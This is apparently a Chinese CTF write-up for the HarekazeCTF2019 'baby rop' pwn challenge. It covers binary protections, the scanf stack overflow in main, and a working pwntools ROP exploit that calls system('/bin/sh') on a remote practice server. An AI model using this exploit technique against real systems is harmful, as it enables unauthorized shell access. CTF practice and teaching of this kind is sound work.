HarekazeCTF2019 baby rop

前提

查看文件保护

[*] '/root/pwn/buuctf/HarekazeCTF2019_baby_rop/babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

静态分析

主函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-10h]

  system("echo -n \"What's your name? \"");
  __isoc99_scanf("%s", &v4);
  printf("Welcome to the Pwn World, %s!\n", &v4);
  return 0;
}

Gadget

ROPgadget --binary babyrop --string "/bin/sh\x00"
Strings information
============================================================
0x0000000000601048 : /bin/sh

思路分析

1. 目前信息：
   • 明显的栈溢出漏洞
   • plt表内有system
   • 存在/bin/sh字符串
   • No PIE
   • NX 保护
2. 思路：
   • 可栈溢出，有system，有/bin/sh，构造rop链布好栈帧输入即可

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/HarekazeCTF2019_baby_rop/babyrop'
io = remote('node4.buuoj.cn', 26190)
# io = process(pwnfile)
elf = ELF(pwnfile)
padding = 0x10+8
system_addr = elf.plt['system']
bin_sh = 0x601048
pop_rdi_ret = 0x400683
payload = flat(['a'*padding, pop_rdi_ret, bin_sh, system_addr])
io.recv()
io.sendline(payload)
io.interactive()